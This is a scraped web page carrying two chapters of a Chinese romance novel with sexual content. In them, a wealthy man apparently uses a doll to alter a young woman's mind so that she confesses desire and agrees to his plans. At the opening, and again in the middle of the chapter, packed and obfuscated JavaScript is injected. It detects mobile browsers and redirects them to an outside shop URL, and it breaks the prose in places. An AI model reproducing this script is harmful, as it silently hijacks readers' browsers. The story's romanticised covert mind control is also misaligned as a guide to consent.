;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为什么突然... 是排卵期快到了吗?她在这段时间前后,的确欲望会比平时强烈一些。开始按照时间来看,还很早。 那种异样感没有消失,甚至越来越明显,越来越快。 为什么她会..舒服? “嗯....”她脸色潮红地蹲了下去,气喘吁吁,“为什么会...” “啊嗯..哈啊....不不...不行...” “呃啊...呜...”屋子里属于她一个人的呼吸声此起彼伏。 不知过了多久,她弓着腰,仿佛一阵强光在眼前闪过。 早就红了的眼睛和脸,此时更加红了。 十分钟后,她抱着尿湿的裤子进了浴室。 洗完裤子后她又开始洗自己。她觉得自己肯定是漫画看多了,所以才会... 可是不知道为什么,她刚才控制不住的想沈决远。想他在自己的身边。 朋友说她只是看上去乖巧,其实性格比谁都闷骚。典型的纯洁无暇白巧克力,但黄油芝士夹心。 她脱掉自己的衣服泡进浴桶里,刚进去,胸口敏感的她倒吸一口凉气。 她低头看了一眼,整个人不由得愣住。 为什么会红肿成这样,不仅红润润的,甚至还...有牙印... - 池溪觉得自己最近一定撞鬼了,而且还是色鬼。 可是她不知道该不该和舅婆说,毕竟这种事情,需要考虑的不止是他们会不会信。首先需要她说得出口。 怎么开口呢,她被鬼上了? 她的脑海里再次浮现出了沈决远的身影。 事实上,从这件事发生后她第一个想到的就是沈决远。 都说人在害怕时想到的第一个人就是自己最依赖,且最能让自己感到安全感的人。池溪无法否认她对沈决远存在着一种暗性期待。 但她没有身份和资格去找他。再加上,自从上次她说了那些话之后,沈决远已经两天没有出现了。 虽然她仍旧总是能闻到那股只属于他的清冷气息。 沈决远不会再来找自己了。 想到这个事实,池溪突然一阵心疼和难过。 自己不该说那些话的,平白惹他伤心。其实他也没做什么,他甚至都没有进来阻止或是打扰他们的相亲。 他只是在外面站了一会儿而已。是那个相亲对象自己一通脑补和比较之后开始自卑。 只属于男人的,薛定谔一般的自尊心。 她只是一时情绪上头,将自己的心里话全都发泄出来而已。 要和他道歉吗? 算了吧,看他当时离开的样子,估计也不会想要再见到她了。 池溪深深吸了一口气,她觉得所处的世界,四面八方都是只属于他的气息。 怎么能这么好闻,这么让人上瘾。果然贵的东西除了贵,没有任何缺点。 包括他。 她问过舅婆他们,有没有闻到什么香味。每个人的回答都不同。 舅婆说她只闻到了鸡粪鸭粪的味道——舅婆家养了许多家禽。 舅妈则骂着小舅,说只有他身上的臭汗味。 似乎只有池溪最幸运,这股香味淡化了臭味。她所呼吸到的空气都是清新的。 舅婆见家里这几天都只有她一个人,问她:“那个小伙子最近没来?” 池溪装听不懂:“哪个小伙子?” “就是那个高高大大的,两个闹别扭了?” 池溪说:“没闹别扭..” 舅婆笑了,一副看透一切的神情:“那孩子我觉得挺不错的,成熟稳重,长得也气派。不过就算这段关系成不了也好,那种大人物不是我们这些小门小户可以驾驭得住的。” 她用身边的例子讲给池溪听;“你秦姨的女儿,那个大你四岁的阿樱,六年前嫁给了一个香港富商,都说她去过好日子了。这几年往家里寄的钱让你秦姨早早地住进了城里,周围人都羡慕她有个好女婿。虽然这个女婿从未没有回来探过亲。前段时间阿樱疯疯癫癫地回来了,大着肚子回来的。” 池溪本来还在当故事听,那个阿樱姐姐她有点印象,小的时候她一直很羡慕她总是能穿上漂亮的公主裙,以及拥有精致的蝴蝶结发卡。不像她,总是穿着小一码的男孩子衣服。 但听到后面她就愣住了:“为什么会...疯疯癫癫?” 舅婆叹气:“说是根本就没结婚,只是给对方当了外室。甚至还不是小三小四,排在她前面的不知道有多少个。后来被那个男人送上合作方的床,说是好几个人一起..就疯了,肚子里的孩子也不知道是谁的。” 池溪愣了好久。 这些类似的传言她其实多多少少听过一些。沈司桥身边的朋友玩的一个比一个花。包括沈司桥这个烂人,他亲口告诉池溪,他最喜欢睡双胞胎,一次睡两个,一个让他屮,一个给他口。虽然他可能只是口嗨。 但不妨碍池溪觉得他是一个很脏的烂黄瓜。 不过这种场景她只是听说,还从来没有亲眼见过。对她来说属于一种非常遥远的事情。 事实上,父亲和沈伯父在某种层面上,的确将她保护得很好。 舅婆说:“那个小伙子看上去不像是会做出这种事情的人,他很有礼貌。但人性谁都说不准,谁知道什么时候就变了。” 池溪点头,似乎听懂了。 她那一整天都在想这件事,心里非常不舒服。 自己熟悉的人变成这样,换了谁都不可能做到无动于衷。 沈决远... 她想到舅婆刚才的话。沈决远永远也不可能做出这种事情来。 池溪不知道自己出于哪方面的自信。但她坚信。 以沈决远的教养和他的本性,他甚至做不到将太多的心思分给无关紧要的感情。就算他需要解决生理需求,也会寻找固定的床伴,而不是一天换一个。 他的雄心壮志全都放在他的伟大的事业上了。 他肯定早就回了他的北欧,不会再来找她了。 或许那天是自己见到他的最后一面。 池溪抿唇,不知道该高兴还是难过... 她将学习资料放进背包里,打算去图书馆学习。 然而手机却在此刻响了起来。 她低下头去看,是沈决远发来的信息。 看到上方的备注,她的心脏莫名其妙的加快。 她犹豫很久,最终还是选择点开。 ——关于那天的事情,一切都是我的问题,是我被嫉妒冲昏了头脑。 我不该说那些让你伤心的话,更不该抛下你先行离开。 因为我察觉到我的情绪开始失控,而我无法尽快地控制住,这很罕见。 很显然,在那样的场景下,如果连年长的我也做不到保持冷静,只会让这件事的处理变得更加糟糕。 所以我需要先让自己冷静下来,然后再冷静地去处理我们之间的事情, 这两天我思考了很多,身为年长者却没有起到一个好的引导与安抚作用,反而用激烈的发言伤害到你。 小河,我想当面和你道歉。你能给我这个机会吗? 池溪看着这条信息,心里五味杂陈,她不知道自己此刻的真正情绪是什么。 难以想象,惜字如金到不近人情的沈决远,居然也有发这么一大串文字和别人道歉解释的时候。可这明明不是他的错。 池溪抬起的手指,在屏幕上方悬空很久。她最终还是放弃了回复这条信息。 她很胆小,遇到无法决定的事情就会逃避。 她喜欢沈决远,可舅婆的话让她重新思考自己和沈决远之间的差距。 而且,沈决远说要当面和她道歉,真的只有道歉吗? 她总觉得心里毛毛的。 所以她选择放下手机,强迫自己忘记这件事。 外面的天气更冷了,河面结的冰厚到都可以在上面打滚。 池溪决定回到房间换一身更厚的衣服。 她一直觉得内衣的那层钢圈特别难受,所以一旦到了冬天,她就会选择直接不穿。反正冬天的衣服厚,不穿也没有任何影响。 只是今天,她脱毛衣的时候动作很小心。粗毛线明显的颗粒与肌理感与她胸前明显还红肿敏感的部位摩擦而过时,那种异样感让她忍不住又红了脸。 她不知道自己这是怎么了,不止这里,还有其他部位也是。 难道家里真的有鬼?她四处看了一眼,总觉得房间更加阴冷。 她被吓到三下五除二穿好衣服,背上包打算离开。 不过走了两步,一种润物细无声的情绪慢慢影响到她。 她像是茅舍顿开,顿悟了一般。 她为什么要害怕,为什么要逃避,为什么要躲着沈决远?她已经长大了,不再是那个会被别人扮鬼吓尿的孩子了。 所以她为什么要害怕?为什么要避开呢? 一直以来,她都是窝囊地逃避一切。 无论自己是对是错,总之,认错就对了。 她全身上下最硬的大概就是身体中间的脊椎骨了,可她也能凭借自己的窝囊让它无时无刻地弯下去。 可人又不能一直窝囊下去。 对啊,心里好像有一道声音在告诉她。 她不可能一直这样遇到事情就选择逃避。 池溪抿了抿唇,突然生出了一种非常强烈的,想要去见沈决远的冲动。 30.第三十章 池溪不知道自己是哪里来的勇气,总之,她是憋着一肚子气去的。她对沈决远全部的不满。 意想不到的是,当她出去时,发现来接她的车早就等在了门外。 那辆黑色的奔驰,司机体贴地拉开车门,等她上车。池溪抿了抿唇,还是坐了上去。 一路平缓,最后在一家生态园前停下。 风景好的地方能让人心情变得舒畅,这里由人工打理,每年光是草坪养护就不知道需要多少钱。 放眼望去,一片生机勃勃的绿意。池溪的脚步因为她心情的变化,也轻盈了不少。 她进去的时候,已经有人提前在那里等着为她带路了。 她坐上俱乐部专属的定制高尔夫球车,司机刷卡开闸,平缓地驶入沥青车道上。她甚至可以在这里看见千年银杏。 放眼望去,是深绿色的树木与绿色的海滨雀稗。 池溪想,她又来到不属于她的世界里了。 车停下来,她看到不远处的草坪站着几个人。 旁边那几位应该是负责报距离看果岭的高尔夫球童。 剩下的几位,除了沈决远之外,还有两位明显是外籍长相的男子。 沈决远今天没有穿西装,而是一身极简的定制款高尔夫球服。浅灰色速干polo和防风夹克,同色系高尔夫长裤。双手交握,搭放在球杆顶端。戴着一副墨镜,更显鼻梁高挺。 没了平时穿西装的严谨冷酷,现在的他更亲近大自然,那种温和的儒雅感浑然天成。无论是他的松弛强大的气场还是挺拔身形,都最为突出耀眼,所以池溪一眼就注意到了他。 男人显然在她注意到他之前就看到了她,目光一直紧紧跟随着。直到车停下,他和面前的男人礼貌地说了句什么,将高尔夫球杆和墨镜递给一旁的球童,随后朝池溪走过来。 “他们没带你去换衣服吗。” 他注意到池溪身上穿着还是她自己的裙子。 池溪想起自己刚去北城时,被父亲带去和几位弟弟妹妹们一起见客人。当时就是在高尔夫球场,她明明不会打,父亲却非要让她试一试。 她至今都记得她生疏地挥杆打坏草坪后,其他人的嘲笑。 她当时羞愧到整张脸都憋红了,父亲却嫌弃她给自己丢人,上不了台面。 池溪全程默不作声,手紧紧抓着袖口。 直到现在她都对这项贵族运动存在着一种ptsd。 “是我不想换...我不会打高尔夫,我怕被嘲笑。” 这些话在平时是她放在心里吐槽的话,她从来不敢说出来。 然而今天,她像是被什么操控了思想一般,变得异常诚实。 内心独白全都说了出来。 沈决远大概能猜到她之前经历过什么:“不想换就不换,在这里没人会嘲笑你。” “去和客人打个招呼。”他摘了左手上的定制款羊皮手套,动作自然地牵着池溪的手走过去。 池溪低头看了眼被男人握住的那只手。 他甚至还强行和她五指相扣。掌心贴着掌心,他的体温很温暖。 池溪心脏忍不住地悸动。她喜欢这种强悍的力量感,具备让她无论怎么拼命挣扎都挣扎不开的强硬。 丑男除外。 “你的手好温暖。”她突然说。 “是吗。”男人声音很轻地回答,面上不动声色,却握地更加用力。 池溪近距离看到那几位外国人,对方穿着同款Polo衫,那种西方old money的气质与生俱来,不需要刻意营造,举手投足间就自然流露。 他们就像是某种时尚标杆一样,是当下流行的老钱风极力去模仿的那一类人。 打扮穿着刻意模仿,但出生与银行卡的余额却模仿不了。 正是因为明白这一点,所以池溪从来没想过要强行留在北城。 “这位是anders·holte教授,主攻计算机和人工智能。这位是ingrid·nilsen,心理学教授。”沈决远将那几位海外学术泰斗一一介绍给她,随后又向对方介绍起她的身份,“Coco, my fiancée, is a diligent and eager learner”(Coco,我的未婚妻,她是一个勤奋好学的孩子。) 池溪的英文名是自己取的,因为她那段时间很爱喝coco奶茶。 不知道为什么,现在每次听到别人提起这个名字,她都有一种羞耻感。 但那些人并不在意她的英文是叫Coco还是什么,他们笑着和她打过招呼,绅士而周到。保留着老派绅士的吻手礼。但在对方试图牵起她的手弯腰吻下去时,被沈决远不动声色地阻止。 他将她的手拉开,自己握住:“She’s not used to foreign etiquette—just a verbal greeting will do”(她不适应国外礼仪,口头问好就行。) 对方点头,笑着为自己的冒昧和她道歉。 池溪全程都跟在沈决远的身边,生怕一个不小心自己就落了单。她几乎都要忘了自己今天过来目的了。 等等,她今天过来有什么目的? 对于这方面她的脑子几乎一片空白。只有一个念头非常强烈,她不要再回避自己内心了。 她原本担心在北城高尔夫球场的事情会再次发生。但沈决远显然和父亲不一样。 他不会因为一个人不会打高尔夫,而认为对方害自己丢了脸面。 他将球杆递给她,鼓励她试一试。 池溪勇敢地伸手接过来。 她认为自己现在唯一的不同就是比平时更加勇敢。就好像有一条看不见的线在操控她去完成某件事。 当她第三次挥杆却只打掉一些草皮,身旁传来一阵此起彼伏的老钱笑。池溪总算明白了什么叫做一听就知道很有钱的笑声是什么样的了。 她告诉沈决远:“我感觉他们笑的时候,笑声里有美金和名贵珠宝在飘。” “......” 她能听出来,那几个外国人并不是在嘲笑她。她可以察觉出是恶意还是善意。 他们在离开前,和沈决远有过简短交流。 池溪迷茫地询问沈决远:“他们刚才在说什么?” 沈决远告诉她:“他们夸你可爱。” 她抿了抿唇,表情局促:“他们还挺有眼光。” 沈决远轻笑。 池溪急忙捂住嘴巴,她今天怎么什么都往外说。 是沈决远让他们离开的。今天的本意就是为了将池溪引荐给他们。 既然已经交换了各自的信息,接下来就没那几个人什么事情了。 不必一直和他们待在一起碍眼,他更希望今天能够和她多享受一些二人世界。 他已经让人根据那个娃娃去调查线索了。他知道池溪忘记他肯定和这件事逃不开关系。只需要查出那个娃娃是谁给她的。 “肩膀放松,不要太僵硬。”他站在她的身后,手把手教她正确的握杆和挥杆姿势。 这次是池溪主动要求。 那些人走后,她主动开口:“我不会打高尔夫,你...教我吧。” 这显然和她平时的性格有着非常大的出入。 换了任何一个熟悉她的人在场,都会为她此刻的举动感到惊讶。 如果是平时的池溪,她自己也会感到惊讶。 就像是将她平时的内心独白讲了出来。好友总说她闷骚,因为胆小,虽然显得很乖巧,实际上她内心的脑补吐槽如果写成一本书发布出来,第二天她就会因为涉黄被关进局子。 熟悉她的沈决远却并没有因为她的变化而困惑。 他体贴地亲自上手教她。 池溪眨了眨眼。她说了让他教她,但这个距离未免太近了。 他的膝盖顶着她的大腿,为她调整动作,手臂从身后绕过来,握着她的手臂带动她上杆:“停在这里就行。” 池溪甚至能够感受到她的后背紧贴着他的腹肌。 他的外套已经脱了,里面那件烟灰色的速干polo,材质特殊。池溪可以非常直观地感受到他肌肉的形状和硬度。 “下杆时转髋,不要抬臀。”他伸手拍了拍她的屁股,示意她将臀降下去。 池溪竟然被这一下拍到情动。她抿了抿唇,懊恼自己怎么能如此没有出息。 人家按照她的要求教她打高尔夫,她却只在意对方的腹肌和胸肌有多大多硬,以及对方打她屁股的那只手。 她强迫自己保持专注,脱口而却是一句:“你的胸肌好大好软,好色哦。大腿也是,硬梆梆的,你平时工作那么忙也有空健身吗?” “我能将它看成一句夸赞吗。” 男人没有回答她的问题,漫不经心的反问。 同时带动她的手挥杆送杆,说话时,胸腔微颤。 她点头:“可以....我喜欢胸大的男人。” “因为你的母亲?” “不是。”她什么都往外说,今天像是喝了吐真剂一样,“是我高中看的第一部漫画,男主的胸肌非常大。女主坐在他胸上磨13的时候我一直很好奇是什么感觉。” “.....”他很难不皱紧眉头,“你高中不好好学习,天天都在想这些东西吗?” “唔...”她不好意思地抿唇,“所以我差点去读大专。” 她在沈决远面前算得上一张没有秘密的白纸,因为她的情绪全都写在脸上。她甚至不需要开口,他就知道她想说什么。 可沈决远第一次如此直白地了解她的内心。 她比他想的还要...算了,至少说明她有自己的爱好。 他让她将注意力放回在求赶上,手起杆落,身体形成一道利落的弧线。 虽然仍旧没有打中,但至少有所进步。 沈决远用英文夸她:“Good job. Keep it up.” 池溪被夸的飘飘然,全然没注意到男人的身体几乎没有离开过她。从她主动提起要求对方充当自己的一对一高尔夫球教练,一直到一个小时后。 旁边只有三位球童,一位负责看果岭报距离,一位递杆擦杆,还有一位则是负责撑伞递水。 沈决远接过毛巾替她擦了擦汗:“要不要歇一会?” 池溪懊恼得要命,怎么能一次都不进。她怀疑沈决远故意不教会她,好叫她丢人。 如果在平时,这样埋怨的话她只敢放在心里碎碎念。可是现在,她居然直接说了出来。 沈决远替她将被风吹的凌乱的头发理顺:“这种东西需要慢慢练,急不来。你能打成这样已经算是有天赋。” 她眼睛亮了,回头看他:“真的?” 连她自己都没注意到,她的后脑勺刚好抵在男人饱满的胸口。 “嗯。”男人点头,随手将毛巾递给身旁的球童。 然后带她去了休息区,内里不仅设置了中西式的餐厅,还有spa馆和天然温泉。沈决远拿了张湿巾替她把脸擦干净,这些泥土也不知道是怎么时候弄上去的。 他告诉她:“今天晚上有晚宴,反正回去了也是一个人。不如在这里多待一天。” 她不爽地反呛他:“我就算是一个人,我也有很多一个人的娱乐活动。我一点都不会无聊。” 平时只敢在心里说的话,现在全都说出来了。 沈决远却一点也不意外,他只是若有所思地点了点头:“什么娱乐活动?” 池溪诚实地一一交代出来:“看漫画,逛论坛还有追剧。” “什么漫画?” 她理直气壮:“黄色漫画。” 沈决远身上的熟男感都快将他腌入味了,池溪不得不承认,沈决远的确是她见过最有魅力的男人。 这绝对不是因为她没见识。 她就算现实里没见过多少好男人,但书里和漫画中见过很多。 无论再好的文笔再牛的画技,都没有一个真实存在的人所带来的冲击感更加强烈。 他认为自己有必要找个时间好好和她沟通一次。 在她的幼年阶段,没有一个人给过她所需的引导和陪伴。 “为什么喜欢看这种?” 池溪回答:“压力大的时候会看。” 从她观看这类作品的频率可以看出,她的精神长期处在高压状态。这是一个十分危险的讯号。 介于幼童与青少年之间,有一种叫做夹腿综合症的疾病。病原主要来源长期焦虑以及缺乏安全感。 沈决远看向她的眼神多了几分不易察觉的心疼。 算了,他和她生什么气。 她只是一个孩子,‘健忘’不是她的缺点。只要身体是健康的就足够了。 总能找到办法能让她想起来。 用完午餐后,沈决远让那位女性服务员将她带去更换衣服。 池溪疑惑地看着他:“换什么....衣服?” 沈决远告诉她:“后面有一个马场,你不是一直很想拥有一匹属于自己的小马驹吗。” 池溪眨了眨眼,的确是这样。但她不记得自己对外说过。 之所以会在连马都不会骑的情况下,还想用拥有属于自己的小马,并非她贪得无厌。 而是出于羡慕。 在那个家里只住了十分短暂的时间,池溪并没有想过要融入进他们的生活。她是一个非常有自知之明的人。 但人本身就是一种非常矛盾的东西。 她看到父亲在圣诞节,送给他们一人一匹小马驹,由他们亲自养大,作为圣诞节的礼物。 因为担心自己的妻子会生气,所以父亲不得不区别对待。只送了池溪一份蛋糕。 他笑着告诉池溪:“这个圣诞树蛋糕,是爸爸亲自给你挑选的。” 再次想到这件事,池溪仍旧充满了委屈。她不是自己非要去北城,去加入那个家庭。她是被接回去的,为了父亲所谓的晋升之路更加顺利一些,被强行接回去的。 接回去之后就每天作为一个外来者看他们表演幸福美满的一家人。 想到这里,池溪抹了一把眼泪,拜托沈决远:“你去找个人把我爸爸暗杀了,然后你来当我的爸爸吧。” 他为她诚实且幼稚的言论而感到片刻失笑:“如果我当了你的爸爸,很多东西我们就做不了了,有违人伦。” “做什么东西?”她好奇地抬起头。 男人很轻地笑了笑,并没有回答她。 反正她很快也要知道了。 池溪换上马术服后出来,她没有看到沈决远,正当她打算去找他时,有个穿着马术服的男性出现在她的面前,他手中的黑色马鞭还没有收起来,想来是刚骑完马。 或许是看池溪从那个专属更衣室出来,又通过她身边陪同的服务员看出她身份特殊,所以主动过来搭讪。 大部分的人去不符合自己身份和经济水准的地方进行娱乐活动,不仅仅是为了放松。更主要的目的是为了结交人脉,这个男人很显然就是后者。 他绅士地递出自己的名片,并做了一番自我介绍:“我叫周准,是一名律所合伙人。” 池溪接过名片,发自内心的表示羡慕:“好厉害,我小时候的梦想就是成为一名律师,但法考太难了,法条也难背。” 对方轻笑:“是吗,可你分明长了一张记性很好的脸。希望你能记住我。” 长得挺帅的,但给人的感觉很渣,看上去像是很会吃软饭的一张脸。 池溪不知道自己在心里吐槽的话,嘴巴会直接讲出来。 所以当看到对方逐渐凝固的笑容和变难看的脸色时,她愣了一下,怎么了,不会是生病了吧。 最近流感严重,别传染给她了。当然,她不是嫌弃对方的意思,她只是..... “换好了吗。” 一道优雅的男声打断了她的脑补,沈决远走过来,替她重新调整了一下身上的马术服。 他的目光并未落在一旁的男人身上。事实上,从他和池溪搭讪开始,他就一直站在后面默默看着。 眼底的大片阴影最终在听到池溪说出的那些话后,重新恢复了深邃。 她的身边最近总是莫名其妙多出很多人,这是沈决远非常不满的地方。但那些人又不值得他为之动怒。因为都是不起眼的三流货色。 从这点可以看出他毫无保留的傲慢,其实他对于‘情敌’这个词语是没什么危机感的。 他唯一‘恐惧’的是池溪本人。 毕竟她在这段感情中掌握着主导权。她一旦不爱他了,或是忘了他,他就什么都不是了。 沈决远带她去挑选马驹。 她看着马厩里那些伸着脑袋吃草料的马,和那天爸爸送给弟弟妹妹们的那几匹马完全不同。虽然她不懂马,但她一眼就可以看出这里的马不仅是血统高贵,甚至数量也是少得可怜 她的确没有想错,这些都是稀有的纯血马。 “有喜欢的吗?”沈决远走过去,将其中一匹牵出来,‘它父母都是在权威机构注册过的纯血马,它虽然还很小,但和其他纯血马相比,它的速度和爆发力都是最强的。’ 池溪动了动嘴唇:“纯血马,我还以为你不会喜欢这种。” 这个无厘头的发言让沈决远略微垂眸,目光从那匹的身上转移到她身上。 池溪说:“因为你不是纯血,你是混出来的混血。我以为你会同类相吸,更喜欢混血马。” “....”沈决远没有理会她,而是让一旁的饲养人为这匹马套上马鞍。 “你先骑上去试一下。”他说。 池溪抿唇,有些担忧:“它这么小....” “不用担心,它可以备鞍骑乘。而且你体重很轻,是它可以承受的重量。”这句话说完,他淡淡警告,“不要再想一些乱七八糟的东西。” 听到‘骑乘’这个词的池溪刚准备想些乱七八糟的东西,听他这么一说,她心虚地缩了缩脖子,弱弱回答:“我很喜欢这个体位...” 他怎么知道她会想些乱七八糟的东西。 池溪最后还是不肯上马,她不敢。 如果在平时,沈决远淡声催促一句,她就窝窝囊囊地上去了。 但是现在的池溪就像是被什么东西强行调整了思维方式一样。她不仅胆子变大了,平时只敢放在内心的那些吐槽也全部开始往外冒。 池溪没想到,平时那个高高在上的男人,居然有这么体贴的时候。 她不敢在马背上练习,问他有没有那种像真马的假马。 可以骑,但是不用担心摔倒。 池溪不知道沈决远是什么时候换的西装,他显然没打算亲自骑上马给她演示一遍。当然不可能,想什么呢,池溪丝毫不怀疑,这个傲慢的男人怎么可能给别人充当马术老师。 她不知道自己今天是怎么了,什么心里话都往外说。 包括刚才那句,她居然也说出来了:“你可以当马让我骑乘练习吗?” 直到说完之后她才反应过来。 男人目光平静地看着她。 池溪抿唇,就算胆子莫名其妙变大了,可面对他时那种天然的恐惧,身体是最先感知到的。 就像是生活在野外的兔子碰到了正在捕猎的黑豹。 那是一种生物链本能的畏惧。 但沈决远最终还是答应了她。他穿着典雅高贵的西装在沙发上躺下,严禁冷酷的上位者气息让此刻的他多出一种别样的魅力。 难以被驯服的魅力。 池溪脱掉鞋子后上了床,不太熟练地坐到他的身上。她在心里默念,把他当成一匹马在骑乘,当成一匹马在骑乘。 她坐了上去:“然后呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148450|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她早就换回了自己的衣服,那条刚过膝盖的连衣裙。此时裙摆随意的铺开,像一朵开的凌乱的花。 “夹紧马背。”沈决远的确试图教会她。 无论是作为上司还是老师,他都是合格的。 池溪红着脸夹紧了,她反复告诫自己,他是一匹马,他是一匹马。 而且他们都穿着衣服,什么也没做。 沈决远拍了拍她的大腿:“再夹紧点。如果你现在骑的是一匹真马,你很容易被甩下去。” 和他不同,她是柔软的,包括她的大腿。 她嘟囔:“再夹紧就进去了。” “我穿着裤子,不会进去。” 池溪不爽地还嘴:“我会抓紧缰绳,我虽然自己没骑过,但我看别人骑过。” 他语气温和地问,“那你知道它的使用方法吗?” 池溪下意识将男人佩戴的那条收束在西装马甲里的领带抽出来,握在手中:“我当然知道。” 虽然没有亲眼见过沈决远的身体,但池溪坚信他的身材很好。是那种宽肩窄腰的完美倒三角。 所以她骑的时候感觉恰好到处,双腿刚好卡在内收的窄腰之上,隔着硬挺的西装也能感受到他腹外斜肌的硬度和轮廓。 一丝不苟的领带被她握在手中,就像是狗的牵引绳一样。 沈决远的脸色变得阴沉,很显然,他不容许自己的权威被侵犯。包括他主导一切的权力。这样天生的上位者,是不会容许自己处在任人摆布的下位的。 但很快,他重新缓和了神情。 池溪因为他一闪而过的威严被吓到险些松开手,又被沈决远重新握住:“握着吧。” 沈决远这个合格的老师细心地教导她骑马的核心动作和注意事项。 臀部要坐实马鞍,马匹在动作时,身体会产生晃动,所以要随着马匹的动作小幅度起落,小腿要始终贴着马腹,不能离开。 他会在她做错动作时毫不留情地打她。巴掌落在臀上的声音,清脆而弹软:“不要想着离开,如果你现在骑的是一匹真马,你会被甩下去。” 池溪缩着肩,不知道是被打爽了还是被打疼了。她发出一阵别样的泣音。 沈决远立刻就心软了,替她揉着被打过地方:“我没有用力气。打疼你了?” “不疼。我觉得你好像变了。”被打很舒服,被抚摸也很舒服。池溪觉得他的手像是有魔力一样。她的脸红红的,身体朝后倒,双手按着他的膝,她实在是没有力气了。 “是吗。”沈决远当然知道她口中的‘变了’指的是什么。 不是他变了,而是她忘了。因为她遗忘了他改变的中间过程,所以才会认为他变了。 他明知故问道:“我哪里变了?” 小兔子白又白,一只两只入梦来,蹦蹦跳跳真可爱。池溪不知道自己为什么会突然想到这句儿歌,她有些难为情,她痛恨自己发育的太好。 “我的胸...这样骑的话它一直在晃,很难为情。”她抿着嘴,脸红红的。 沈决远喉结咽了咽,突然感觉喉咙很干:“那就歇一会吧,人和马的区别很大,等你亲自上了马背再去试试。” 池溪委屈地用手捂住胸口:“骑马的时候也会这样吗?” “不会。马术服会有专门的防护服和运动内衣,不会像现在这样。” 池溪是个胆小鬼,她的胆小是遗传的,从她的祖辈就开始窝囊。 所以怪不得池溪。加上她童年缺爱的经历,导致她在面对感情时有种病态的回避。 既然离开了北城,说明她不会再去沈决远的公司任职,也不会回到沈家。 那她和沈决远就没有任何关系了。既然这样,沈决远变或不变,受益人都是他未来的妻子。而不是她。 池溪其实自己也无法判断对沈决远究竟是什么感情。比起希望他成为自己的丈夫,她反而更想让他当自己的监护人。 他身上没什么池溪认为适合当丈夫的特质。反而有很多适合当daddy的特质。 无论是强势的掌控,还是那份严厉的管控欲,亦或是上位者的调教。 最最最最重要的是,他各种意义上的强大。成熟儒雅的特质,充满荷尔蒙与雄性性张力的大骨架身材。 他很明显会是那种在你做错事不听话时,严厉地教育你。同时也会在你乖巧懂事时,用他那宽厚温柔的手掌轻轻抚摸你的头顶,夸你是‘好孩子’ 但池溪对于另一半的要求是爱她爱她爱她爱她爱她爱她爱她爱她爱她爱她爱她爱她... 正是因为从小缺爱,所以她渴望非她不可强烈浓郁的爱意。 沈决远显然不符合。他无论对谁都会保留几分。 甚至连做嗳可能都不会all in,他同样有所保留,不会全put in。 有佣人等候在外面,这整个地方都是沈决远的。他购地开发了这个会所,还有配套的高尔夫郡别墅和五星级酒店。 他只是将这里当成一个初期的踏板,目标群体如果只针对富人,那是非常愚蠢且短浅的眼光。毕竟世界上富人只占据金字塔一小部分。人数还是太少。 他未来想将北欧的项目逐渐引进,他最近萌生了留在这里定居生子的想法。 虽然对他来说这个国度是陌生的,但他爱的人在这里生长。 是啊。他爱的人。 想到这里,他的眼神变得阴晴不定。 已经将他遗忘掉的,他所爱的人。 池溪抬起头;“我总觉得我今天一整天都怪怪的。” “哦?”他声音优雅,语气平静,“哪里怪。” 她苦恼地皱着眉,眼泪都要被这种摸不清楚的怪异给逼出来了:“哪里都很怪....我今天突然非常非常非常想要见你,不仅想见你,还想亲你抱你,可是我不知道这是为什么。” 他的心脏开始跳动。 那只手充满爱意地放在她的腰上,沿着臀部与腰腹的那处内陷的曲线轻轻摩挲,他一点一点引导她的思想:“这还不明显吗,因为你爱我。” 如果她能再看仔细一点,就能看见那件进门前脱下的男士大衣,左边口袋放着一个娃娃。此时那个娃娃的双脚露了出来。 它甚至还穿着漂亮柔软的公主裙。 看来它的主人非常爱它,否则不会将它照顾地这么好。 柔软蓬松的裙摆,和那双精致的小羊皮鞋,甚至连头发也是经过专门的养护。乌黑发亮。连同那张与池溪几乎一模一样的脸,也精致到看不出一丝瑕疵。 这只娃娃在沈决远的手上和在池溪的手上,拥有着全然不同的待遇。 沈决远在说话时,池溪一直盯着他的嘴巴看。 真奇怪,为什么她能想象出被这张嘴和这个舌头舔舐的感觉。 “我知道你想读研。刚才让你见的那几位教授,我可以帮你写推荐信。你不用觉得这是你我对你的施舍所以着急拒绝。”他体贴周到地将她所有拒绝的理由都堵死了,“我说过的,你是我的未婚妻。我有责任负责你的人生。” 她的心脏很痒,全身都很痒,像有蚂蚁在啃食。听说口水可以止痒,她很想找一个可以无限分泌口水的舌头坐一坐。 “就算我什么都不记得了,你也会负责吗?” “嗯。你想去吗?” 人的内心其实经不起挖掘,大部分的人都是靠道德和法律的约束,如果世界上真的具有吐真剂,那会是一件非常可怕的事情。 “当然想去,不用学习就可以收到录取通知书,对我这种学习笨蛋来说简直是一件天大的喜事。但这不符合正常的竞争关系,对别人不公平。” 真是善良的小河,就算没有道德的约束,她也是善良的。 他将手指温柔地放在她小腹处的那颗小黑痣上:“没关系,如果你不去,他们也不会再收别的学生。” 当然,他等到了确定的回答。她愿意去。 愿意和他一起回北欧。 他有过相同经验,就算今天结束,回归正常。但经历的这一切不会忘记。 所以她今天说的话是算数的。 他想,池溪或许会因为今天的事情羞愧到好几天不敢见她。 让她这样一个胆小鬼如此直白地面对自己的内心,对她来说应该是一个可怕的噩梦。 “我这么做是不是很卑鄙。”他自问自答,“原来我在面对感情时也是一个不择手段的三流货色。” 池溪听不明白:“什么?” “没什么。”他在心里自我唾弃自己,但很快就调整好状态。 有的时候,人为了想要的东西而付出另一些东西,是在他很小的时候就明白的事情。 他爱池溪,从很久之前就爱上她了。只是这份爱发现地太晚。可既然发现了,他就不可能放走。 